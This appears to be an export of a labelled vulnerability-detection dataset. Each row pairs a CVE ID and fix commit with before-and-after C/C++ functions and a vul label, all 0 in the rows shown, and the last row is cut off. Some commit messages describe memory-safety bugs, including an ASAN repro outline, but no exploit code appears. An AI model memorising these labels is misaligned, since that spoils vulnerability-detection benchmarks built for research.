CVE ID
stringlengths
13
43
CVE Page
stringlengths
45
48
CWE ID
stringclasses
90 values
codeLink
stringlengths
46
139
commit_id
stringlengths
6
81
commit_message
stringlengths
3
13.3k
func_after
stringlengths
14
241k
func_before
stringlengths
14
241k
lang
stringclasses
3 values
project
stringclasses
309 values
vul
int8
0
1
CVE-2014-0131
https://www.cvedetails.com/cve/CVE-2014-0131/
CWE-416
https://github.com/torvalds/linux/commit/1fd819ecb90cc9b822cd84d3056ddba315d3340f
1fd819ecb90cc9b822cd84d3056ddba315d3340f
skbuff: skb_segment: orphan frags before copying skb_segment copies frags around, so we need to copy them carefully to avoid accessing user memory after reporting completion to userspace through a callback. skb_segment doesn't normally happen on datapath: TSO needs to be disabled - so disabling zero copy in this case does not look like a big deal. Signed-off-by: Michael S. Tsirkin <mst@redhat.com> Acked-by: Herbert Xu <herbert@gondor.apana.org.au> Signed-off-by: David S. Miller <davem@davemloft.net>
struct sk_buff *skb_dequeue(struct sk_buff_head *list) { unsigned long flags; struct sk_buff *result; spin_lock_irqsave(&list->lock, flags); result = __skb_dequeue(list); spin_unlock_irqrestore(&list->lock, flags); return result; }
struct sk_buff *skb_dequeue(struct sk_buff_head *list) { unsigned long flags; struct sk_buff *result; spin_lock_irqsave(&list->lock, flags); result = __skb_dequeue(list); spin_unlock_irqrestore(&list->lock, flags); return result; }
C
linux
0
CVE-2018-12321
https://www.cvedetails.com/cve/CVE-2018-12321/
CWE-125
https://github.com/radare/radare2/commit/224e6bc13fa353dd3b7f7a2334588f1c4229e58d
224e6bc13fa353dd3b7f7a2334588f1c4229e58d
Fix #10296 - Heap out of bounds read in java_switch_op()
static int java_new_method (ut64 method_start) { METHOD_START = method_start; r_java_new_method (); return 0; }
static int java_new_method (ut64 method_start) { METHOD_START = method_start; r_java_new_method (); return 0; }
C
radare2
0
CVE-2012-2891
https://www.cvedetails.com/cve/CVE-2012-2891/
CWE-200
https://github.com/chromium/chromium/commit/116d0963cadfbf55ef2ec3d13781987c4d80517a
116d0963cadfbf55ef2ec3d13781987c4d80517a
Print preview: Use an ID instead of memory pointer string in WebUI. BUG=144051 Review URL: https://chromiumcodereview.appspot.com/10870003 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@153342 0039d316-1c4b-4281-b951-d872f2087c98
PrintPreviewDataService::PrintPreviewDataService() { }
PrintPreviewDataService::PrintPreviewDataService() { }
C
Chrome
0
CVE-2019-10664
https://www.cvedetails.com/cve/CVE-2019-10664/
CWE-89
https://github.com/domoticz/domoticz/commit/ee70db46f81afa582c96b887b73bcd2a86feda00
ee70db46f81afa582c96b887b73bcd2a86feda00
Fixed possible SQL Injection Vulnerability (Thanks to Fabio Carretto!)
bool CWebServer::FindAdminUser() { for (const auto & itt : m_users) { if (itt.userrights == URIGHTS_ADMIN) return true; } return false; }
bool CWebServer::FindAdminUser() { for (const auto & itt : m_users) { if (itt.userrights == URIGHTS_ADMIN) return true; } return false; }
C
domoticz
0
CVE-2013-4205
https://www.cvedetails.com/cve/CVE-2013-4205/
CWE-399
https://github.com/torvalds/linux/commit/6160968cee8b90a5dd95318d716e31d7775c4ef3
6160968cee8b90a5dd95318d716e31d7775c4ef3
userns: unshare_userns(&cred) should not populate cred on failure unshare_userns(new_cred) does *new_cred = prepare_creds() before create_user_ns() which can fail. However, the caller expects that it doesn't need to take care of new_cred if unshare_userns() fails. We could change the single caller, sys_unshare(), but I think it would be more clean to avoid the side effects on failure, so with this patch unshare_userns() does put_cred() itself and initializes *new_cred only if create_user_ns() succeeeds. Cc: stable@vger.kernel.org Signed-off-by: Oleg Nesterov <oleg@redhat.com> Reviewed-by: Andy Lutomirski <luto@amacapital.net> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
static u32 map_id_up(struct uid_gid_map *map, u32 id) { unsigned idx, extents; u32 first, last; /* Find the matching extent */ extents = map->nr_extents; smp_read_barrier_depends(); for (idx = 0; idx < extents; idx++) { first = map->extent[idx].lower_first; last = first + map->extent[idx].count - 1; if (id >= first && id <= last) break; } /* Map the id or note failure */ if (idx < extents) id = (id - first) + map->extent[idx].first; else id = (u32) -1; return id; }
static u32 map_id_up(struct uid_gid_map *map, u32 id) { unsigned idx, extents; u32 first, last; /* Find the matching extent */ extents = map->nr_extents; smp_read_barrier_depends(); for (idx = 0; idx < extents; idx++) { first = map->extent[idx].lower_first; last = first + map->extent[idx].count - 1; if (id >= first && id <= last) break; } /* Map the id or note failure */ if (idx < extents) id = (id - first) + map->extent[idx].first; else id = (u32) -1; return id; }
C
linux
0
CVE-2006-4192
https://www.cvedetails.com/cve/CVE-2006-4192/
null
https://cgit.freedesktop.org/gstreamer/gst-plugins-bad/commit/?id=bc2cdd57d549ab3ba59782e9b395d0cd683fd3ac
bc2cdd57d549ab3ba59782e9b395d0cd683fd3ac
null
UINT CSoundFile::DetectUnusedSamples(BOOL *pbIns) { UINT nExt = 0; if (!pbIns) return 0; if (m_nInstruments) { memset(pbIns, 0, MAX_SAMPLES * sizeof(BOOL)); for (UINT ipat=0; ipat<MAX_PATTERNS; ipat++) { MODCOMMAND *p = Patterns[ipat]; if (p) { UINT jmax = PatternSize[ipat] * m_nChannels; for (UINT j=0; j<jmax; j++, p++) { if ((p->note) && (p->note <= 120)) { if ((p->instr) && (p->instr < MAX_INSTRUMENTS)) { INSTRUMENTHEADER *penv = Headers[p->instr]; if (penv) { UINT n = penv->Keyboard[p->note-1]; if (n < MAX_SAMPLES) pbIns[n] = TRUE; } } else { for (UINT k=1; k<=m_nInstruments; k++) { INSTRUMENTHEADER *penv = Headers[k]; if (penv) { UINT n = penv->Keyboard[p->note-1]; if (n < MAX_SAMPLES) pbIns[n] = TRUE; } } } } } } } for (UINT ichk=1; ichk<=m_nSamples; ichk++) { if ((!pbIns[ichk]) && (Ins[ichk].pSample)) nExt++; } } return nExt; }
UINT CSoundFile::DetectUnusedSamples(BOOL *pbIns) { UINT nExt = 0; if (!pbIns) return 0; if (m_nInstruments) { memset(pbIns, 0, MAX_SAMPLES * sizeof(BOOL)); for (UINT ipat=0; ipat<MAX_PATTERNS; ipat++) { MODCOMMAND *p = Patterns[ipat]; if (p) { UINT jmax = PatternSize[ipat] * m_nChannels; for (UINT j=0; j<jmax; j++, p++) { if ((p->note) && (p->note <= 120)) { if ((p->instr) && (p->instr < MAX_INSTRUMENTS)) { INSTRUMENTHEADER *penv = Headers[p->instr]; if (penv) { UINT n = penv->Keyboard[p->note-1]; if (n < MAX_SAMPLES) pbIns[n] = TRUE; } } else { for (UINT k=1; k<=m_nInstruments; k++) { INSTRUMENTHEADER *penv = Headers[k]; if (penv) { UINT n = penv->Keyboard[p->note-1]; if (n < MAX_SAMPLES) pbIns[n] = TRUE; } } } } } } } for (UINT ichk=1; ichk<=m_nSamples; ichk++) { if ((!pbIns[ichk]) && (Ins[ichk].pSample)) nExt++; } } return nExt; }
CPP
gstreamer
0
CVE-2014-9427
https://www.cvedetails.com/cve/CVE-2014-9427/
CWE-119
https://git.php.net/?p=php-src.git;a=commit;h=f9ad3086693fce680fbe246e4a45aa92edd2ac35
f9ad3086693fce680fbe246e4a45aa92edd2ac35
null
static PHP_MINFO_FUNCTION(cgi) { DISPLAY_INI_ENTRIES(); }
static PHP_MINFO_FUNCTION(cgi) { DISPLAY_INI_ENTRIES(); }
C
php
0
CVE-2016-5219
https://www.cvedetails.com/cve/CVE-2016-5219/
CWE-416
https://github.com/chromium/chromium/commit/a4150b688a754d3d10d2ca385155b1c95d77d6ae
a4150b688a754d3d10d2ca385155b1c95d77d6ae
Add GL_PROGRAM_COMPLETION_QUERY_CHROMIUM This makes the query of GL_COMPLETION_STATUS_KHR to programs much cheaper by minimizing the round-trip to the GPU thread. Bug: 881152, 957001 Change-Id: Iadfa798af29225e752c710ca5c25f50b3dd3101a Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1586630 Commit-Queue: Kenneth Russell <kbr@chromium.org> Reviewed-by: Kentaro Hara <haraken@chromium.org> Reviewed-by: Geoff Lang <geofflang@chromium.org> Reviewed-by: Kenneth Russell <kbr@chromium.org> Cr-Commit-Position: refs/heads/master@{#657568}
void GLES2DecoderImpl::DoUniformMatrix2x4fv(GLint fake_location, GLsizei count, GLboolean transpose, const volatile GLfloat* value) { GLenum type = 0; GLint real_location = -1; if (!PrepForSetUniformByLocation(fake_location, "glUniformMatrix2x4fv", Program::kUniformMatrix2x4f, &real_location, &type, &count)) { return; } api()->glUniformMatrix2x4fvFn(real_location, count, transpose, const_cast<const GLfloat*>(value)); }
void GLES2DecoderImpl::DoUniformMatrix2x4fv(GLint fake_location, GLsizei count, GLboolean transpose, const volatile GLfloat* value) { GLenum type = 0; GLint real_location = -1; if (!PrepForSetUniformByLocation(fake_location, "glUniformMatrix2x4fv", Program::kUniformMatrix2x4f, &real_location, &type, &count)) { return; } api()->glUniformMatrix2x4fvFn(real_location, count, transpose, const_cast<const GLfloat*>(value)); }
C
Chrome
0
CVE-2011-0716
https://www.cvedetails.com/cve/CVE-2011-0716/
CWE-399
https://github.com/torvalds/linux/commit/6b0d6a9b4296fa16a28d10d416db7a770fc03287
6b0d6a9b4296fa16a28d10d416db7a770fc03287
bridge: Fix mglist corruption that leads to memory corruption The list mp->mglist is used to indicate whether a multicast group is active on the bridge interface itself as opposed to one of the constituent interfaces in the bridge. Unfortunately the operation that adds the mp->mglist node to the list neglected to check whether it has already been added. This leads to list corruption in the form of nodes pointing to itself. Normally this would be quite obvious as it would cause an infinite loop when walking the list. However, as this list is never actually walked (which means that we don't really need it, I'll get rid of it in a subsequent patch), this instead is hidden until we perform a delete operation on the affected nodes. As the same node may now be pointed to by more than one node, the delete operations can then cause modification of freed memory. This was observed in practice to cause corruption in 512-byte slabs, most commonly leading to crashes in jbd2. Thanks to Josef Bacik for pointing me in the right direction. Reported-by: Ian Page Hands <ihands@redhat.com> Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au> Signed-off-by: David S. Miller <davem@davemloft.net>
static struct sk_buff *br_multicast_alloc_query(struct net_bridge *br, struct br_ip *addr) { switch (addr->proto) { case htons(ETH_P_IP): return br_ip4_multicast_alloc_query(br, addr->u.ip4); #if defined(CONFIG_IPV6) || defined(CONFIG_IPV6_MODULE) case htons(ETH_P_IPV6): return br_ip6_multicast_alloc_query(br, &addr->u.ip6); #endif } return NULL; }
static struct sk_buff *br_multicast_alloc_query(struct net_bridge *br, struct br_ip *addr) { switch (addr->proto) { case htons(ETH_P_IP): return br_ip4_multicast_alloc_query(br, addr->u.ip4); #if defined(CONFIG_IPV6) || defined(CONFIG_IPV6_MODULE) case htons(ETH_P_IPV6): return br_ip6_multicast_alloc_query(br, &addr->u.ip6); #endif } return NULL; }
C
linux
0
CVE-2011-4621
https://www.cvedetails.com/cve/CVE-2011-4621/
null
https://github.com/torvalds/linux/commit/f26f9aff6aaf67e9a430d16c266f91b13a5bff64
f26f9aff6aaf67e9a430d16c266f91b13a5bff64
Sched: fix skip_clock_update optimization idle_balance() drops/retakes rq->lock, leaving the previous task vulnerable to set_tsk_need_resched(). Clear it after we return from balancing instead, and in setup_thread_stack() as well, so no successfully descheduled or never scheduled task has it set. Need resched confused the skip_clock_update logic, which assumes that the next call to update_rq_clock() will come nearly immediately after being set. Make the optimization robust against the waking a sleeper before it sucessfully deschedules case by checking that the current task has not been dequeued before setting the flag, since it is that useless clock update we're trying to save, and clear unconditionally in schedule() proper instead of conditionally in put_prev_task(). Signed-off-by: Mike Galbraith <efault@gmx.de> Reported-by: Bjoern B. Brandenburg <bbb.lst@gmail.com> Tested-by: Yong Zhang <yong.zhang0@gmail.com> Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl> Cc: stable@kernel.org LKML-Reference: <1291802742.1417.9.camel@marge.simson.net> Signed-off-by: Ingo Molnar <mingo@elte.hu>
wait_for_completion_timeout(struct completion *x, unsigned long timeout) { return wait_for_common(x, timeout, TASK_UNINTERRUPTIBLE); }
wait_for_completion_timeout(struct completion *x, unsigned long timeout) { return wait_for_common(x, timeout, TASK_UNINTERRUPTIBLE); }
C
linux
0
CVE-2017-16932
https://www.cvedetails.com/cve/CVE-2017-16932/
CWE-835
https://github.com/GNOME/libxml2/commit/899a5d9f0ed13b8e32449a08a361e0de127dd961
899a5d9f0ed13b8e32449a08a361e0de127dd961
Detect infinite recursion in parameter entities When expanding a parameter entity in a DTD, infinite recursion could lead to an infinite loop or memory exhaustion. Thanks to Wei Lei for the first of many reports. Fixes bug 759579.
xmlParseTextDecl(xmlParserCtxtPtr ctxt) { xmlChar *version; const xmlChar *encoding; /* * We know that '<?xml' is here. */ if ((CMP5(CUR_PTR, '<', '?', 'x', 'm', 'l')) && (IS_BLANK_CH(NXT(5)))) { SKIP(5); } else { xmlFatalErr(ctxt, XML_ERR_XMLDECL_NOT_STARTED, NULL); return; } if (SKIP_BLANKS == 0) { xmlFatalErrMsg(ctxt, XML_ERR_SPACE_REQUIRED, "Space needed after '<?xml'\n"); } /* * We may have the VersionInfo here. */ version = xmlParseVersionInfo(ctxt); if (version == NULL) version = xmlCharStrdup(XML_DEFAULT_VERSION); else { if (SKIP_BLANKS == 0) { xmlFatalErrMsg(ctxt, XML_ERR_SPACE_REQUIRED, "Space needed here\n"); } } ctxt->input->version = version; /* * We must have the encoding declaration */ encoding = xmlParseEncodingDecl(ctxt); if (ctxt->errNo == XML_ERR_UNSUPPORTED_ENCODING) { /* * The XML REC instructs us to stop parsing right here */ return; } if ((encoding == NULL) && (ctxt->errNo == XML_ERR_OK)) { xmlFatalErrMsg(ctxt, XML_ERR_MISSING_ENCODING, "Missing encoding in text declaration\n"); } SKIP_BLANKS; if ((RAW == '?') && (NXT(1) == '>')) { SKIP(2); } else if (RAW == '>') { /* Deprecated old WD ... */ xmlFatalErr(ctxt, XML_ERR_XMLDECL_NOT_FINISHED, NULL); NEXT; } else { xmlFatalErr(ctxt, XML_ERR_XMLDECL_NOT_FINISHED, NULL); MOVETO_ENDTAG(CUR_PTR); NEXT; } }
xmlParseTextDecl(xmlParserCtxtPtr ctxt) { xmlChar *version; const xmlChar *encoding; /* * We know that '<?xml' is here. */ if ((CMP5(CUR_PTR, '<', '?', 'x', 'm', 'l')) && (IS_BLANK_CH(NXT(5)))) { SKIP(5); } else { xmlFatalErr(ctxt, XML_ERR_XMLDECL_NOT_STARTED, NULL); return; } if (SKIP_BLANKS == 0) { xmlFatalErrMsg(ctxt, XML_ERR_SPACE_REQUIRED, "Space needed after '<?xml'\n"); } /* * We may have the VersionInfo here. */ version = xmlParseVersionInfo(ctxt); if (version == NULL) version = xmlCharStrdup(XML_DEFAULT_VERSION); else { if (SKIP_BLANKS == 0) { xmlFatalErrMsg(ctxt, XML_ERR_SPACE_REQUIRED, "Space needed here\n"); } } ctxt->input->version = version; /* * We must have the encoding declaration */ encoding = xmlParseEncodingDecl(ctxt); if (ctxt->errNo == XML_ERR_UNSUPPORTED_ENCODING) { /* * The XML REC instructs us to stop parsing right here */ return; } if ((encoding == NULL) && (ctxt->errNo == XML_ERR_OK)) { xmlFatalErrMsg(ctxt, XML_ERR_MISSING_ENCODING, "Missing encoding in text declaration\n"); } SKIP_BLANKS; if ((RAW == '?') && (NXT(1) == '>')) { SKIP(2); } else if (RAW == '>') { /* Deprecated old WD ... */ xmlFatalErr(ctxt, XML_ERR_XMLDECL_NOT_FINISHED, NULL); NEXT; } else { xmlFatalErr(ctxt, XML_ERR_XMLDECL_NOT_FINISHED, NULL); MOVETO_ENDTAG(CUR_PTR); NEXT; } }
C
libxml2
0
CVE-2011-2789
https://www.cvedetails.com/cve/CVE-2011-2789/
CWE-399
https://github.com/chromium/chromium/commit/55ef04e135edaa9abfbf3647634b11ed57dc49e9
55ef04e135edaa9abfbf3647634b11ed57dc49e9
Maintain a map of all resources in the resource tracker and clear instance back pointers when needed, BUG=85808 Review URL: http://codereview.chromium.org/7196001 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@89746 0039d316-1c4b-4281-b951-d872f2087c98
PP_Bool PPB_URLLoader_Impl::GetUploadProgress(int64_t* bytes_sent, int64_t* total_bytes_to_be_sent) { if (!RecordUploadProgress()) { *bytes_sent = 0; *total_bytes_to_be_sent = 0; return PP_FALSE; } *bytes_sent = bytes_sent_; *total_bytes_to_be_sent = total_bytes_to_be_sent_; return PP_TRUE; }
PP_Bool PPB_URLLoader_Impl::GetUploadProgress(int64_t* bytes_sent, int64_t* total_bytes_to_be_sent) { if (!RecordUploadProgress()) { *bytes_sent = 0; *total_bytes_to_be_sent = 0; return PP_FALSE; } *bytes_sent = bytes_sent_; *total_bytes_to_be_sent = total_bytes_to_be_sent_; return PP_TRUE; }
C
Chrome
0
CVE-2014-3515
https://www.cvedetails.com/cve/CVE-2014-3515/
null
https://git.php.net/?p=php-src.git;a=commit;h=88223c5245e9b470e1e6362bfd96829562ffe6ab
88223c5245e9b470e1e6362bfd96829562ffe6ab
null
SPL_METHOD(SplObjectStorage, serialize) { spl_SplObjectStorage *intern = (spl_SplObjectStorage*)zend_object_store_get_object(getThis() TSRMLS_CC); spl_SplObjectStorageElement *element; zval members, *pmembers, *flags; HashPosition pos; php_serialize_data_t var_hash; smart_str buf = {0}; if (zend_parse_parameters_none() == FAILURE) { return; } PHP_VAR_SERIALIZE_INIT(var_hash); /* storage */ smart_str_appendl(&buf, "x:", 2); MAKE_STD_ZVAL(flags); ZVAL_LONG(flags, zend_hash_num_elements(&intern->storage)); php_var_serialize(&buf, &flags, &var_hash TSRMLS_CC); zval_ptr_dtor(&flags); zend_hash_internal_pointer_reset_ex(&intern->storage, &pos); while(zend_hash_has_more_elements_ex(&intern->storage, &pos) == SUCCESS) { if (zend_hash_get_current_data_ex(&intern->storage, (void**)&element, &pos) == FAILURE) { smart_str_free(&buf); PHP_VAR_SERIALIZE_DESTROY(var_hash); RETURN_NULL(); } php_var_serialize(&buf, &element->obj, &var_hash TSRMLS_CC); smart_str_appendc(&buf, ','); php_var_serialize(&buf, &element->inf, &var_hash TSRMLS_CC); smart_str_appendc(&buf, ';'); zend_hash_move_forward_ex(&intern->storage, &pos); } /* members */ smart_str_appendl(&buf, "m:", 2); INIT_PZVAL(&members); Z_ARRVAL(members) = zend_std_get_properties(getThis() TSRMLS_CC); Z_TYPE(members) = IS_ARRAY; pmembers = &members; php_var_serialize(&buf, &pmembers, &var_hash TSRMLS_CC); /* finishes the string */ /* done */ PHP_VAR_SERIALIZE_DESTROY(var_hash); if (buf.c) { RETURN_STRINGL(buf.c, buf.len, 0); } else { RETURN_NULL(); } } /* }}} */ /* {{{ proto void SplObjectStorage::unserialize(string serialized)
SPL_METHOD(SplObjectStorage, serialize) { spl_SplObjectStorage *intern = (spl_SplObjectStorage*)zend_object_store_get_object(getThis() TSRMLS_CC); spl_SplObjectStorageElement *element; zval members, *pmembers, *flags; HashPosition pos; php_serialize_data_t var_hash; smart_str buf = {0}; if (zend_parse_parameters_none() == FAILURE) { return; } PHP_VAR_SERIALIZE_INIT(var_hash); /* storage */ smart_str_appendl(&buf, "x:", 2); MAKE_STD_ZVAL(flags); ZVAL_LONG(flags, zend_hash_num_elements(&intern->storage)); php_var_serialize(&buf, &flags, &var_hash TSRMLS_CC); zval_ptr_dtor(&flags); zend_hash_internal_pointer_reset_ex(&intern->storage, &pos); while(zend_hash_has_more_elements_ex(&intern->storage, &pos) == SUCCESS) { if (zend_hash_get_current_data_ex(&intern->storage, (void**)&element, &pos) == FAILURE) { smart_str_free(&buf); PHP_VAR_SERIALIZE_DESTROY(var_hash); RETURN_NULL(); } php_var_serialize(&buf, &element->obj, &var_hash TSRMLS_CC); smart_str_appendc(&buf, ','); php_var_serialize(&buf, &element->inf, &var_hash TSRMLS_CC); smart_str_appendc(&buf, ';'); zend_hash_move_forward_ex(&intern->storage, &pos); } /* members */ smart_str_appendl(&buf, "m:", 2); INIT_PZVAL(&members); Z_ARRVAL(members) = zend_std_get_properties(getThis() TSRMLS_CC); Z_TYPE(members) = IS_ARRAY; pmembers = &members; php_var_serialize(&buf, &pmembers, &var_hash TSRMLS_CC); /* finishes the string */ /* done */ PHP_VAR_SERIALIZE_DESTROY(var_hash); if (buf.c) { RETURN_STRINGL(buf.c, buf.len, 0); } else { RETURN_NULL(); } } /* }}} */ /* {{{ proto void SplObjectStorage::unserialize(string serialized)
C
php
0
CVE-2019-16910
https://www.cvedetails.com/cve/CVE-2019-16910/
CWE-200
https://github.com/ARMmbed/mbedtls/commit/33f66ba6fd234114aa37f0209dac031bb2870a9b
33f66ba6fd234114aa37f0209dac031bb2870a9b
Merge remote-tracking branch 'upstream-restricted/pr/556' into mbedtls-2.16-restricted
void mbedtls_ecdsa_restart_free( mbedtls_ecdsa_restart_ctx *ctx ) { if( ctx == NULL ) return; mbedtls_ecp_restart_free( &ctx->ecp ); ecdsa_restart_ver_free( ctx->ver ); mbedtls_free( ctx->ver ); ctx->ver = NULL; ecdsa_restart_sig_free( ctx->sig ); mbedtls_free( ctx->sig ); ctx->sig = NULL; #if defined(MBEDTLS_ECDSA_DETERMINISTIC) ecdsa_restart_det_free( ctx->det ); mbedtls_free( ctx->det ); ctx->det = NULL; #endif }
void mbedtls_ecdsa_restart_free( mbedtls_ecdsa_restart_ctx *ctx ) { if( ctx == NULL ) return; mbedtls_ecp_restart_free( &ctx->ecp ); ecdsa_restart_ver_free( ctx->ver ); mbedtls_free( ctx->ver ); ctx->ver = NULL; ecdsa_restart_sig_free( ctx->sig ); mbedtls_free( ctx->sig ); ctx->sig = NULL; #if defined(MBEDTLS_ECDSA_DETERMINISTIC) ecdsa_restart_det_free( ctx->det ); mbedtls_free( ctx->det ); ctx->det = NULL; #endif }
C
mbedtls
0
CVE-2009-1194
https://www.cvedetails.com/cve/CVE-2009-1194/
CWE-189
https://github.com/bratsche/pango/commit/4de30e5500eaeb49f4bf0b7a07f718e149a2ed5e
4de30e5500eaeb49f4bf0b7a07f718e149a2ed5e
[glyphstring] Handle overflow with very long glyphstrings
pango_glyph_string_extents (PangoGlyphString *glyphs, PangoFont *font, PangoRectangle *ink_rect, PangoRectangle *logical_rect) { pango_glyph_string_extents_range (glyphs, 0, glyphs->num_glyphs, font, ink_rect, logical_rect); }
pango_glyph_string_extents (PangoGlyphString *glyphs, PangoFont *font, PangoRectangle *ink_rect, PangoRectangle *logical_rect) { pango_glyph_string_extents_range (glyphs, 0, glyphs->num_glyphs, font, ink_rect, logical_rect); }
C
pango
0
CVE-2012-2888
https://www.cvedetails.com/cve/CVE-2012-2888/
CWE-399
https://github.com/chromium/chromium/commit/3b0d77670a0613f409110817455d2137576b485a
3b0d77670a0613f409110817455d2137576b485a
Revert 143656 - Add an IPC channel between the NaCl loader process and the renderer. BUG=116317 TEST=ppapi, nacl tests, manual testing for experimental IPC proxy. Review URL: https://chromiumcodereview.appspot.com/10641016 TBR=bbudge@chromium.org Review URL: https://chromiumcodereview.appspot.com/10625007 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@143665 0039d316-1c4b-4281-b951-d872f2087c98
bool NaClProcessHost::AttachDebugExceptionHandler(const std::string& info, IPC::Message* reply_msg) { if (!enable_exception_handling_) { DLOG(ERROR) << "Exception handling requested by NaCl process when not enabled"; return false; } if (debug_exception_handler_requested_) { DLOG(ERROR) << "Multiple AttachDebugExceptionHandler requests received"; return false; } debug_exception_handler_requested_ = true; base::ProcessId nacl_pid = base::GetProcId(process_->GetData().handle); base::win::ScopedHandle process_handle; if (!base::OpenProcessHandleWithAccess( nacl_pid, base::kProcessAccessQueryInformation | base::kProcessAccessSuspendResume | base::kProcessAccessTerminate | base::kProcessAccessVMOperation | base::kProcessAccessVMRead | base::kProcessAccessVMWrite | base::kProcessAccessWaitForTermination, process_handle.Receive())) { LOG(ERROR) << "Failed to get process handle"; return false; } attach_debug_exception_handler_reply_msg_.reset(reply_msg); if (RunningOnWOW64()) { return NaClBrokerService::GetInstance()->LaunchDebugExceptionHandler( weak_factory_.GetWeakPtr(), nacl_pid, process_handle, info); } else { NaClStartDebugExceptionHandlerThread( process_handle.Take(), info, base::MessageLoopProxy::current(), base::Bind(&NaClProcessHost::OnDebugExceptionHandlerLaunchedByBroker, weak_factory_.GetWeakPtr())); return true; } }
bool NaClProcessHost::AttachDebugExceptionHandler(const std::string& info, IPC::Message* reply_msg) { if (!enable_exception_handling_) { DLOG(ERROR) << "Exception handling requested by NaCl process when not enabled"; return false; } if (debug_exception_handler_requested_) { DLOG(ERROR) << "Multiple AttachDebugExceptionHandler requests received"; return false; } debug_exception_handler_requested_ = true; base::ProcessId nacl_pid = base::GetProcId(process_->GetData().handle); base::win::ScopedHandle process_handle; if (!base::OpenProcessHandleWithAccess( nacl_pid, base::kProcessAccessQueryInformation | base::kProcessAccessSuspendResume | base::kProcessAccessTerminate | base::kProcessAccessVMOperation | base::kProcessAccessVMRead | base::kProcessAccessVMWrite | base::kProcessAccessWaitForTermination, process_handle.Receive())) { LOG(ERROR) << "Failed to get process handle"; return false; } attach_debug_exception_handler_reply_msg_.reset(reply_msg); if (RunningOnWOW64()) { return NaClBrokerService::GetInstance()->LaunchDebugExceptionHandler( weak_factory_.GetWeakPtr(), nacl_pid, process_handle, info); } else { NaClStartDebugExceptionHandlerThread( process_handle.Take(), info, base::MessageLoopProxy::current(), base::Bind(&NaClProcessHost::OnDebugExceptionHandlerLaunchedByBroker, weak_factory_.GetWeakPtr())); return true; } }
C
Chrome
0
CVE-2016-10197
https://www.cvedetails.com/cve/CVE-2016-10197/
CWE-125
https://github.com/libevent/libevent/commit/ec65c42052d95d2c23d1d837136d1cf1d9ecef9e
ec65c42052d95d2c23d1d837136d1cf1d9ecef9e
evdns: fix searching empty hostnames From #332: Here follows a bug report by **Guido Vranken** via the _Tor bug bounty program_. Please credit Guido accordingly. ## Bug report The DNS code of Libevent contains this rather obvious OOB read: ```c static char * search_make_new(const struct search_state *const state, int n, const char *const base_name) { const size_t base_len = strlen(base_name); const char need_to_append_dot = base_name[base_len - 1] == '.' ? 0 : 1; ``` If the length of ```base_name``` is 0, then line 3125 reads 1 byte before the buffer. This will trigger a crash on ASAN-protected builds. To reproduce: Build libevent with ASAN: ``` $ CFLAGS='-fomit-frame-pointer -fsanitize=address' ./configure && make -j4 ``` Put the attached ```resolv.conf``` and ```poc.c``` in the source directory and then do: ``` $ gcc -fsanitize=address -fomit-frame-pointer poc.c .libs/libevent.a $ ./a.out ================================================================= ==22201== ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60060000efdf at pc 0x4429da bp 0x7ffe1ed47300 sp 0x7ffe1ed472f8 READ of size 1 at 0x60060000efdf thread T0 ``` P.S. we can add a check earlier, but since this is very uncommon, I didn't add it. Fixes: #332
evdns_get_default_hosts_filename(void) { #ifdef _WIN32 /* Windows is a little coy about where it puts its configuration * files. Sure, they're _usually_ in C:\windows\system32, but * there's no reason in principle they couldn't be in * W:\hoboken chicken emergency\ */ char path[MAX_PATH+1]; static const char hostfile[] = "\\drivers\\etc\\hosts"; char *path_out; size_t len_out; if (! SHGetSpecialFolderPathA(NULL, path, CSIDL_SYSTEM, 0)) return NULL; len_out = strlen(path)+strlen(hostfile)+1; path_out = mm_malloc(len_out); evutil_snprintf(path_out, len_out, "%s%s", path, hostfile); return path_out; #else return mm_strdup("/etc/hosts"); #endif }
evdns_get_default_hosts_filename(void) { #ifdef _WIN32 /* Windows is a little coy about where it puts its configuration * files. Sure, they're _usually_ in C:\windows\system32, but * there's no reason in principle they couldn't be in * W:\hoboken chicken emergency\ */ char path[MAX_PATH+1]; static const char hostfile[] = "\\drivers\\etc\\hosts"; char *path_out; size_t len_out; if (! SHGetSpecialFolderPathA(NULL, path, CSIDL_SYSTEM, 0)) return NULL; len_out = strlen(path)+strlen(hostfile)+1; path_out = mm_malloc(len_out); evutil_snprintf(path_out, len_out, "%s%s", path, hostfile); return path_out; #else return mm_strdup("/etc/hosts"); #endif }
C
libevent
0
CVE-2018-20067
https://www.cvedetails.com/cve/CVE-2018-20067/
CWE-254
https://github.com/chromium/chromium/commit/a7d715ae5b654d1f98669fd979a00282a7229044
a7d715ae5b654d1f98669fd979a00282a7229044
Prevent renderer initiated back navigation to cancel a browser one. Renderer initiated back/forward navigations must not be able to cancel ongoing browser initiated navigation if they are not user initiated. Note: 'normal' renderer initiated navigation uses the FrameHost::BeginNavigation() path. A code similar to this patch is done in NavigatorImpl::OnBeginNavigation(). Test: ----- Added: NavigationBrowserTest. * HistoryBackInBeforeUnload * HistoryBackInBeforeUnloadAfterSetTimeout * HistoryBackCancelPendingNavigationNoUserGesture * HistoryBackCancelPendingNavigationUserGesture Fixed: * (WPT) .../the-history-interface/traverse_the_history_2.html * (WPT) .../the-history-interface/traverse_the_history_3.html * (WPT) .../the-history-interface/traverse_the_history_4.html * (WPT) .../the-history-interface/traverse_the_history_5.html Bug: 879965 Change-Id: I1a9bfaaea1ffc219e6c32f6e676b660e746c578c Reviewed-on: https://chromium-review.googlesource.com/1209744 Commit-Queue: Arthur Sonzogni <arthursonzogni@chromium.org> Reviewed-by: Daniel Cheng <dcheng@chromium.org> Reviewed-by: Mustaq Ahmed <mustaq@chromium.org> Reviewed-by: Camille Lamy <clamy@chromium.org> Reviewed-by: Charlie Reis <creis@chromium.org> Cr-Commit-Position: refs/heads/master@{#592823}
blink::WebView* RenderViewImpl::webview() { return webview_; }
blink::WebView* RenderViewImpl::webview() { return webview_; }
C
Chrome
0
CVE-2013-6622
https://www.cvedetails.com/cve/CVE-2013-6622/
CWE-399
https://github.com/chromium/chromium/commit/438b99bc730bc665eedfc62c4eb864c981e5c65f
438b99bc730bc665eedfc62c4eb864c981e5c65f
